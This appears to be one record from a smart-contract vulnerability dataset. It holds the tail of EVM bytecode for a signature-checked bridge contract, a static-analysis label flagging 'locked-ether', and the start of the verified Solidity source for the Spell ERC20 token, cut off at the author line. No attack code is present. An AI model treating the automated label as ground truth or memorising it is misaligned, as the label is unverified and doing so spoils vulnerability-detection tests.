03e560048036038101906103e091906128d3565b611254565b6040516103f29190612d42565b60405180910390f35b34801561040757600080fd5b50610410611330565b005b34801561041e57600080fd5b50610439600480360381019061043491906125be565b6114cc565b005b34801561044757600080fd5b5061045061160c565b60405161045d9190612cb2565b60405180910390f35b34801561047257600080fd5b5061047b611630565b6040516104889190612da2565b60405180910390f35b34801561049d57600080fd5b506104b860048036038101906104b3919061273e565b6116ce565b6040516104c59190612cb2565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f091906128aa565b61176d565b6040516105029190612d42565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d9190612843565b61178d565b60405161053f9190612d42565b60405180910390f35b34801561055457600080fd5b5061056f600480360381019061056a9190612792565b611916565b60405161057e93929190612faf565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a99190612672565b61196c565b6040516105bb9190612d42565b60405180910390f35b3480156105d057600080fd5b506105eb60048036038101906105e691906125be565b611b07565b6040516105f89190612d42565b60405180910390f35b34801561060d57600080fd5b50610628600480360381019061062391906126ae565b611b27565b6040516106359190612d42565b60405180910390f35b34801561064a57600080fd5b50610653611c8b565b6040516106609190612cb2565b60405180910390f35b34801561067557600080fd5b50610690600480360381019061068b9190612672565b611cb1565b60405161069d9190612d42565b60405180910390f35b3480156106b257600080fd5b506106cd60048036038101906106c891906125e7565b611dc1565b6040516106da9190612f42565b60405180910390f35b3480156106ef57600080fd5b506106f8611e48565b6040516107059190612f94565b60405180910390f35b34801561071a57600080fd5b50610735600480360381019061073091906125be565b611e5b565b005b34801561074357600080fd5b5061075e600480360381019061075991906128d3565b611ef7565b60405161076b9190612d42565b60405180910390f35b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561080a5780601f106107df5761010080835404028352916020019161080a565b820191906000526020600020905b8154815290600101906020018083116107ed57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108f29190612f42565b60405180910390a36001905092915050565b6000600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460065403905090565b60006109a382600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd390919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7582600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd390919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b4782600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fed90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610be79190612f42565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b60065481565b600760009054906101000a900460ff1681565b6000610c306123ca565b610c3985612007565b90506045855114610c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7690612e82565b60405180910390fd5b600a848490501115610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd90612e42565b60405180910390fd5b6000858051906020012090506000805b868690508160ff161015610ecf576000610d538489898560ff16818110610cf957fe5b9050602002810190610d0b9190612fe6565b8080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506116ce565b9050600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015610e215750600a6000866000015167ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610ec1576001600a6000876000015167ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508280600101935050600a8360ff1610610ec05750610ecf565b5b508080600101915050610cd6565b50600760009054906101000a900460ff1660ff168160ff161015610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f90612f22565b60405180910390fd5b610f88836060015167ffffffffffffffff16600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd390919063ffffffff16565b600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102f836060015167ffffffffffffffff16600860008660c0015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fed90919063ffffffff16565b600860008560c0015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507ff20fc6923b8057dd0c3b606483fcaa038229bb36ebc35a0040e3eaa39cf97b1783600001518460c0015185606001516040516110b593929190612f5d565b60405180910390a18260c0015193505050509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116f57600080fd5b60011515600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611202576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f990612ec2565b60405180910390fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112af57600080fd5b60008260ff1611156113265760648260ff161115611302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f990612ea2565b60405180910390fd5b81600760016101000a81548160ff021916908360ff1602179055506001905061132b565b600090505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461138a57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152457600080fd5b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a890612e62565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116c65780601f1061169b576101008083540402835291602001916116c6565b820191906000526020600020905b8154815290600101906020018083116116a957829003601f168201915b505050505081565b6000806000806116dd85611916565b809350819450829550505050601b8360ff16141580156117015750601c8360ff1614155b156117125760009350505050611767565b600186848484604051600081526020016040526040516117359493929190612d5d565b6020604051602081039080840390855afa158015611757573d6000803e3d6000fd5b5050506020604051035193505050505b92915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60006117e183600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187683600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fed90919063ffffffff16565b600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f622824274e0937ee319b036740cd0887131781bc2032b47eac3e88a1be17f5d585858560405161190393929190612dc4565b60405180910390a2600190509392505050565b6000806000604184511461192957600080fd5b60008060006020870151925060408701519150606087015160001a9050601b8160ff16101561195957601b810190505b8083839550955095505050509193909250565b60006119c082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a5582600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fed90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611af59190612f42565b60405180910390a36001905092915050565b60026020528060005260406000206000915054906101000a900460ff1681565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92585604051611c079190612f42565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401611c4e9493929190612ccd565b600060405180830381600087803b158015611c6857600080fd5b505af1158015611c7c573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d0c57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401611d67929190612d19565b602060405180830381600087803b158015611d8157600080fd5b505af1158015611d95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611db99190612715565b905092915050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760019054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611eb357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f5257600080fd5b60008260ff161115611fc957600a8260ff161115611fa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9c90612e22565b60405180910390fd5b81600760006101000a81548160ff021916908360ff16021790555060019050611fce565b600090505b919050565b600082821115611fe257600080fd5b818303905092915050565b600081830190508281101561200157600080fd5b92915050565b61200f6123ca565b6120176123ca565b60008060008060008060008060088b0101519650600860048b0101519550600c60088b0101519450601460088b0101519350601c60088b0101519250602460018b0101519150602560148b0101519050612070876122f1565b886000019067ffffffffffffffff16908167ffffffffffffffff168152505061209886612383565b886020019063ffffffff16908163ffffffff16815250506120b8856122f1565b886040019067ffffffffffffffff16908167ffffffffffffffff16815250506120e0846122f1565b886060019067ffffffffffffffff16908167ffffffffffffffff1681525050612108836122f1565b886080019067ffffffffffffffff16908167ffffffffffffffff1681525050818860a0019060ff16908160ff1681525050808860c0019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508760a0015160ff16600760019054906101000a900460ff1660ff16146121cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c390612e02565b60405180910390fd5b6121e3886020015163ffffffff1662278d00611fed565b4210612224576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221b90612ee2565b60405180910390fd5b600b6000896000015167ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561229d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229490612f02565b60405180910390fd5b6001600b60008a6000015167ffffffffffffffff1667ffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508798505050505050505050919050565b6000819050600866ff00ff00ff00ff821667ffffffffffffffff16901b600867ff00ff00ff00ff00831667ffffffffffffffff16901c179050601065ffff0000ffff821667ffffffffffffffff16901b601067ffff0000ffff0000831667ffffffffffffffff16901c17905060208167ffffffffffffffff16901b60208267ffffffffffffffff16901c179050919050565b6000819050600862ff00ff821663ffffffff16901b600863ff00ff00831663ffffffff16901c17905060108163ffffffff16901b60108263ffffffff16901c179050919050565b6040518060e00160405280600067ffffffffffffffff168152602001600063ffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600060ff168152602001600073ffffffffffffffffffffffffffffffffffffffff1681525090565b60008135905061245d81613208565b92915050565b60008083601f84011261247557600080fd5b8235905067ffffffffffffffff81111561248e57600080fd5b6020830191508360208202830111156124a657600080fd5b9250929050565b6000815190506124bc8161321f565b92915050565b6000813590506124d181613236565b92915050565b600082601f8301126124e857600080fd5b81356124fb6124f68261306a565b61303d565b9150808252602083016020830185838301111561251757600080fd5b6125228382846131b5565b50505092915050565b600082601f83011261253c57600080fd5b813561254f61254a82613096565b61303d565b9150808252602083016020830185838301111561256b57600080fd5b6125768382846131b5565b50505092915050565b60008135905061258e8161324d565b92915050565b6000813590506125a381613264565b92915050565b6000813590506125b88161327b565b92915050565b6000602082840312156125d057600080fd5b60006125de8482850161244e565b91505092915050565b600080604083850312156125fa57600080fd5b60006126088582860161244e565b92505060206126198582860161244e565b9150509250929050565b60008060006060848603121561263857600080fd5b60006126468682870161244e565b93505060206126578682870161244e565b92505060406126688682870161257f565b9150509250925092565b6000806040838503121561268557600080fd5b60006126938582860161244e565b92505060206126a48582860161257f565b9150509250929050565b6000806000606084860312156126c357600080fd5b60006126d18682870161244e565b93505060206126e28682870161257f565b925050604084013567ffffffffffffffff8111156126ff57600080fd5b61270b868287016124d7565b9150509250925092565b60006020828403121561272757600080fd5b6000612735848285016124ad565b91505092915050565b6000806040838503121561275157600080fd5b600061275f858286016124c2565b925050602083013567ffffffffffffffff81111561277c57600080fd5b612788858286016124d7565b9150509250929050565b6000602082840312156127a457600080fd5b600082013567ffffffffffffffff8111156127be57600080fd5b6127ca848285016124d7565b91505092915050565b6000806000604084860312156127e857600080fd5b600084013567ffffffffffffffff81111561280257600080fd5b61280e868287016124d7565b935050602084013567ffffffffffffffff81111561282b57600080fd5b61283786828701612463565b92509250509250925092565b60008060006060848603121561285857600080fd5b600084013567ffffffffffffffff81111561287257600080fd5b61287e8682870161252b565b935050602061288f8682870161257f565b92505060406128a08682870161257f565b9150509250925092565b6000602082840312156128bc57600080fd5b60006128ca84828501612594565b91505092915050565b6000602082840312156128e557600080fd5b60006128f3848285016125a9565b91505092915050565b6129058161316d565b82525050565b612914816130fa565b82525050565b6129238161310c565b82525050565b61293281613118565b82525050565b6000612943826130c2565b61294d81856130d8565b935061295d8185602086016131c4565b612966816131f7565b840191505092915050565b600061297c826130cd565b61298681856130e9565b93506129968185602086016131c4565b61299f816131f7565b840191505092915050565b60006129b76010836130e9565b91507f496e76616c696420436861696e204944000000000000000000000000000000006000830152602082019050919050565b60006129f7601b836130e9565b91507f5468726573686f6c6420686173206d6178696d756d206f6620313000000000006000830152602082019050919050565b6000612a376028836130e9565b91507f4d6178696d756d206f66203130207369676e6174757265732063616e2062652060008301527f70726f76696465640000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612a9d601c836130e9565b91507f4f7261636c6520697320616c72656164792072656769737465726564000000006000830152602082019050919050565b6000612add6020836130e9565b91507f5369676e61747572652064617461206973207468652077726f6e672073697a656000830152602082019050919050565b6000612b1d6012836130e9565b91507f436861696e494420697320746f6f2062696700000000000000000000000000006000830152602082019050919050565b6000612b5d6018836130e9565b91507f4f7261636c65206973206e6f74207265676973746572656400000000000000006000830152602082019050919050565b6000612b9d6014836130e9565b91507f54656c65706f72742068617320657870697265640000000000000000000000006000830152602082019050919050565b6000612bdd600f836130e9565b91507f416c726561647920436c61696d656400000000000000000000000000000000006000830152602082019050919050565b6000612c1d6024836130e9565b91507f4e6f7420656e6f7567682076616c6964207369676e6174757265732070726f7660008301527f69646564000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b612c7f81613142565b82525050565b612c8e816131a3565b82525050565b612c9d8161314c565b82525050565b612cac81613160565b82525050565b6000602082019050612cc7600083018461290b565b92915050565b6000608082019050612ce260008301876128fc565b612cef6020830186612c76565b612cfc60408301856128fc565b8181036060830152612d0e8184612938565b905095945050505050565b6000604082019050612d2e600083018561290b565b612d3b6020830184612c76565b9392505050565b6000602082019050612d57600083018461291a565b92915050565b6000608082019050612d726000830187612929565b612d7f6020830186612ca3565b612d8c6040830185612929565b612d996060830184612929565b95945050505050565b60006020820190508181036000830152612dbc8184612971565b905092915050565b60006060820190508181036000830152612dde8186612971565b9050612ded6020830185612c76565b612dfa6040830184612c76565b949350505050565b60006020820190508181036000830152612e1b816129aa565b9050919050565b60006020820190508181036000830152612e3b816129ea565b9050919050565b60006020820190508181036000830152612e5b81612a2a565b9050919050565b60006020820190508181036000830152612e7b81612a90565b9050919050565b60006020820190508181036000830152612e9b81612ad0565b9050919050565b60006020820190508181036000830152612ebb81612b10565b9050919050565b60006020820190508181036000830152612edb81612b50565b9050919050565b60006020820190508181036000830152612efb81612b90565b9050919050565b60006020820190508181036000830152612f1b81612bd0565b9050919050565b60006020820190508181036000830152612f3b81612c10565b9050919050565b6000602082019050612f576000830184612c76565b92915050565b6000606082019050612f726000830186612c94565b612f7f602083018561290b565b612f8c6040830184612c85565b949350505050565b6000602082019050612fa96000830184612ca3565b92915050565b6000606082019050612fc46000830186612ca3565b612fd16020830185612929565b612fde6040830184612929565b949350505050565b60008083356001602003843603038112612fff57600080fd5b80840192508235915067ffffffffffffffff82111561301d57600080fd5b60208301925060018202360383131561303557600080fd5b509250929050565b6000604051905081810181811067ffffffffffffffff8211171561306057600080fd5b8060405250919050565b600067ffffffffffffffff82111561308157600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156130ad57600080fd5b601f19601f8301169050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310582613122565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b60006131788261317f565b9050919050565b600061318a82613191565b9050919050565b600061319c82613122565b9050919050565b60006131ae8261314c565b9050919050565b82818337600083830152505050565b60005b838110156131e25780820151818401526020810190506131c7565b838111156131f1576000848401525b50505050565b6000601f19601f8301169050919050565b613211816130fa565b811461321c57600080fd5b50565b6132288161310c565b811461323357600080fd5b50565b61323f81613118565b811461324a57600080fd5b50565b61325681613142565b811461326157600080fd5b50565b61326d8161314c565b811461327857600080fd5b50565b61328481613160565b811461328f57600080fd5b5056fea264697066735822122021c91f26c73669d7502d6681f1b4354979fb2996edc63247eb5dfd608c0849e964736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,104 |
0x090185f2135308bad17527004364ebcc2d37e5f6
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
// SPDX-License-Identifier: MIT
// .d8888b. 888 888
// d88P Y88b 888 888
// Y88b. 888 888
// "Y888b. 88888b. .d88b. 888 888
// "Y88b. 888 "88b d8P Y8b 888 888
// "888 888 888 88888888 888 888
// Y88b d88P 888 d88P Y8b. 888 888
// "Y8888P" 88888P" "Y8888 888 888
// 888
// 888
// 888
// Special thanks to:
// @BoringCrypto for his great libraries @ https://github.com/boringcrypto/BoringSolidity
pragma solidity 0.6.12;
// Contract: BoringOwnable
// Audit on 5-Jan-2021 by Keno and BoringCrypto
// Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol
// Edited by BoringCrypto
contract BoringOwnableData {
address public owner;
address public pendingOwner;
}
contract BoringOwnable is BoringOwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() public {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
/// @param direct True if `newOwner` should be set immediately. False if `newOwner` needs to use `claimOwnership`.
/// @param renounce Allows the `newOwner` to be `address(0)` if `direct` and `renounce` is True. Has no effect otherwise.
function transferOwnership(
address newOwner,
bool direct,
bool renounce
) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
contract Domain {
bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
// See https://eips.ethereum.org/EIPS/eip-191
string private constant EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA = "\x19\x01";
// solhint-disable var-name-mixedcase
bytes32 private immutable _DOMAIN_SEPARATOR;
uint256 private immutable DOMAIN_SEPARATOR_CHAIN_ID;
/// @dev Calculate the DOMAIN_SEPARATOR
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
return keccak256(
abi.encode(
DOMAIN_SEPARATOR_SIGNATURE_HASH,
chainId,
address(this)
)
);
}
constructor() public {
uint256 chainId; assembly {chainId := chainid()}
_DOMAIN_SEPARATOR = _calculateDomainSeparator(DOMAIN_SEPARATOR_CHAIN_ID = chainId);
}
/// @dev Return the DOMAIN_SEPARATOR
// It's named internal to allow making it public from the contract that uses it by creating a simple view function
// with the desired public name, such as DOMAIN_SEPARATOR or domainSeparator.
// solhint-disable-next-line func-name-mixedcase
function _domainSeparator() internal view returns (bytes32) {
uint256 chainId; assembly {chainId := chainid()}
return chainId == DOMAIN_SEPARATOR_CHAIN_ID ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId);
}
function _getDigest(bytes32 dataHash) internal view returns (bytes32 digest) {
digest =
keccak256(
abi.encodePacked(
EIP191_PREFIX_FOR_EIP712_STRUCTURED_DATA,
_domainSeparator(),
dataHash
)
);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/// @notice EIP 2612
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// Data part taken out for building of contracts that receive delegate calls
contract ERC20Data {
/// @notice owner > balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
}
abstract contract ERC20 is IERC20, Domain {
/// @notice owner > balance mapping.
mapping(address => uint256) public override balanceOf;
/// @notice owner > spender > allowance mapping.
mapping(address => mapping(address => uint256)) public override allowance;
/// @notice owner > nonce mapping. Used in `permit`.
mapping(address => uint256) public nonces;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move the tokens.
/// @param amount of the tokens to move.
/// @return (bool) Returns True if succeeded.
function transfer(address to, uint256 amount) public returns (bool) {
// If `amount` is 0, or `msg.sender` is `to` nothing happens
if (amount != 0 || msg.sender == to) {
uint256 srcBalance = balanceOf[msg.sender];
require(srcBalance >= amount, "ERC20: balance too low");
if (msg.sender != to) {
require(to != address(0), "ERC20: no zero address"); // Moved down so low balance calls safe some gas
balanceOf[msg.sender] = srcBalance - amount; // Underflow is checked
balanceOf[to] += amount;
}
}
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`.
/// @param from Address to draw tokens from.
/// @param to The address to move the tokens.
/// @param amount The token amount to move.
/// @return (bool) Returns True if succeeded.
function transferFrom(
address from,
address to,
uint256 amount
) public returns (bool) {
// If `amount` is 0, or `from` is `to` nothing happens
if (amount != 0) {
uint256 srcBalance = balanceOf[from];
require(srcBalance >= amount, "ERC20: balance too low");
if (from != to) {
uint256 spenderAllowance = allowance[from][msg.sender];
// If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20).
if (spenderAllowance != type(uint256).max) {
require(spenderAllowance >= amount, "ERC20: allowance too low");
allowance[from][msg.sender] = spenderAllowance - amount; // Underflow is checked
}
require(to != address(0), "ERC20: no zero address"); // Moved down so other failed calls safe some gas
balanceOf[from] = srcBalance - amount; // Underflow is checked
balanceOf[to] += amount;
}
}
emit Transfer(from, to, amount);
return true;
}
/// @notice Approves `amount` from sender to be spend by `spender`.
/// @param spender Address of the party that can draw from msg.sender's account.
/// @param amount The maximum collective amount that `spender` can draw.
/// @return (bool) Returns True if approved.
function approve(address spender, uint256 amount) public override returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparator();
}
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private constant PERMIT_SIGNATURE_HASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
/// @notice Approves `value` from `owner_` to be spend by `spender`.
/// @param owner_ Address of the owner.
/// @param spender The address of the spender that gets approved to draw from `owner_`.
/// @param value The maximum collective amount that `spender` can draw.
/// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds).
function permit(
address owner_,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external override {
require(owner_ != address(0), "ERC20: Owner cannot be 0");
require(block.timestamp < deadline, "ERC20: Expired");
require(
ecrecover(_getDigest(keccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline))), v, r, s) ==
owner_,
"ERC20: Invalid Signature"
);
allowance[owner_][spender] = value;
emit Approval(owner_, spender, value);
}
}
// Contract: BoringMath
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
}
/// @title Spell
/// @author 0xMerlin
